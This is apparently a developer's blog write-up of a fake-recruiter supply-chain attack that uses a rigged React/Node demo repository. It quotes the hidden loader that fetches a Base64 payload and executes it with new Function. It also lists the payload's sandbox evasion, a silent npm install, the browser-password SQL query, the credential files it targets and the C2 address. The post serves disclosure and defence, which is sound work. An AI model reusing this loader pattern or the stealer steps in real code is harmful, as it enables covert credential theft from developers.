Last week I caught a sophisticated supply-chain attack targeting developers before it could execute. I want to document exactly how it worked so you can recognize it if it comes for you.
How It Started
A LinkedIn connection request from Andre Tiedemann, claiming to be CEO of a Web3 startup called Pass App. Profile looked legitimate — blue verification checkmark, 377 connections, 12 years at Airbus in his work history, proper headshot.
The pitch was standard: Engineering Manager role, decentralized platform, crypto payments integration. He asked screening questions, requested my CV, and scheduled a 4PM CET interview for the next day.
Then, without waiting for confirmation, he sent this:
"I shared a demo project: https://bitbucket.org/welcome-air/welcome-nest/src/main/ — Try setting it up locally, it'll help you get a better feel for how everything's structured. Please review our project and share your opinions on our meeting."
The meeting never happened. That was the entire point — get the repo cloned and executed before any scrutiny.
What Was Inside the Repository
The repository was a clean, realistic React/Node.js fullstack project. Proper folder structure, reasonable code, nothing obviously wrong on a quick scroll.
Two files had been surgically modified:
server/config/config.js — added three innocuous-looking exports:
exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";
exports.setApiKey = (s) => { return atob(s); };
exports.verify = (api) => { return axios.get(api); };
locationToken is a Base64 string that decodes to https://www.jsonkeeper.com/b/UVEXH — a third-party JSON hosting service used as a payload staging server.
server/routes/auth.js — an IIFE injected at the top:
(async () => {
verify(setApiKey(locationToken))
.then(response => {
new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require);
})
.catch(error => { });
})();
On server start, this silently fetches the remote payload, Base64-decodes it, and executes it via new Function() — passing require so it has full Node.js access. The catch block swallows all errors silently.
The Payload
The payload fetched from jsonkeeper.com was a 2.8MB RC4-obfuscated JavaScript file — 17,278 encrypted string array entries, 508,646 array rotations, 119 wrapper decode functions. Not something you reverse by reading it.
First thing it does after decoding itself: check if it's running in an analysis environment.
// Sandbox detection
{}.constructor("return this")() // behaves differently in vm.createContext
// WSL detection
process.env.WSL_DISTRO_NAME
fs.readFileSync('/proc/version').includes('microsoft')
// Debugger detection + VM heuristics
If it passes those checks, it silently installs four npm packages:
npm install sql.js socket.io-client form-data axios --no-save --loglevel silent
--no-save means nothing appears in package.json. --loglevel silent suppresses all output. Then it spawns three background processes and gets to work.
What It Was Designed to Steal
I executed the payload in an isolated sandbox VM with no access to real credentials or production systems. Here's what it would have gone after on a real machine.
Browsers targeted (13): Chrome, Firefox, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium.
For Chromium-based browsers it runs direct SQLite queries against Login Data:
SELECT origin_url, username_value, password_value FROM logins
Passwords are decrypted using platform key extraction (DPAPI on Windows, AES-GCM on Linux/macOS).
For Firefox it targets both logins.json AND key4.db — with both files together all stored passwords are fully decryptable offline.
It also targets:
- All files in
~/.ssh/ ~/.aws/credentials~/.docker/config.json- Any file matching:
.env,password,token,secret,api_key,wallet,.sqlite - macOS Keychain (
login.keychain-db) - Brave wallet LevelDB storage
- Clipboard contents — monitored continuously and exfiltrated in real time
Everything gets exfiltrated to 216.126.225.243 (Ogden, Utah — bulletproof hosting on AS46664 VolumeDrive) via Socket.IO on port 8087 and HTTP uploads on ports 8085/8086.
The Fake Company
Pass App was a real company that shut down on December 16, 2025. They had 10.4K Twitter followers and announced their closure publicly. Their website went offline. Their LinkedIn presence went dormant.
Four months later, the attacker hijacked that abandoned identity. The LinkedIn company page still had 585 followers and looked active. The real company's credibility became the attacker's cover.
One tell: Andre's pitch described Pass App as "a decentralized Airbnb-style platform" — completely different from the real product (an AI crypto wallet). The attacker's script hadn't been updated to match the brand they stole.
Attribution
This is a known campaign called "Contagious Interview" (also tracked as "Dev Recruiter"). It has been running since at least 2023 and is attributed to DPRK-linked threat actors — specifically Lazarus Group / TraderTraitor. The goal is financially motivated: cloud credentials, crypto wallets, and SSH keys to pivot into production infrastructure.
The malware family is consistent with BeaverTail (the obfuscated JS infostealer) and InvisibleFerret (the Python-based backdoor that sometimes follows it).
The ukey: 506 field in the C2 registration event suggests at least 506 active operator accounts in this campaign's infrastructure.
How I Caught It
Code review before running anything. The locationToken export looked odd — why is an API key Base64-encoded inline in config? Decoded it, saw jsonkeeper.com, fetched the URL, got a 2.8MB JSON blob with a model field.
I never ran it on my machine. I spun up an isolated VM instead.
What I Did About It
- Spun up an isolated QEMU/KVM sandbox VM with no real credentials, executed the payload with full network monitoring
- Captured a 23MB PCAP of the full C2 handshake
- Fully deobfuscated the payload via dynamic instrumentation — hooked the decoder functions, captured 900,000+ ordered call records, reconstructed the full source
- Reported to FBI IC3, CISA, BSI Germany, Atlassian, jsonkeeper, and npm security
Red Flags — In Hindsight
| Signal | What it meant |
|---|---|
Contact email is @hotmail.com with random suffix |
Not a company domain — fake or hijacked account |
| LinkedIn connection made the day before the attack | Purpose-built connection, not a real relationship |
| Company website returns "Server Not Found" | No legitimate business behind the persona |
| Meeting scheduled but never confirmed | Meeting was only a pretext to get the repo run |
| Repo delivered before meeting acceptance | Urgency tactic — get it executed before scrutiny |
| Product description doesn't match company | Attacker's script wasn't updated for the stolen brand |
Protect Yourself
Never run npm install on a repo from someone you just met online without reading every file in package.json scripts, every entry point, and especially any files that run on startup.
Use a disposable VM for any externally-provided code. No SSH agent forwarding. No access to ~/.aws or ~/.docker. Snapshot before, delete after.
Check the company website. If it's down, walk away.
A recruiter email that doesn't match their company domain is a hard stop.
If you've recently cloned a repo from a LinkedIn recruiter and ran it on your real machine — check your ~/.ssh/, .env files, and browser credentials immediately. Look for lock files matching {tmpdir}/pid.*.lock. If you find them, assume full compromise.
IOCs, full technical details, and deobfuscated payload signatures have been shared with law enforcement and submitted to MalwareBazaar and VirusTotal.
Stay safe.
Top comments (0)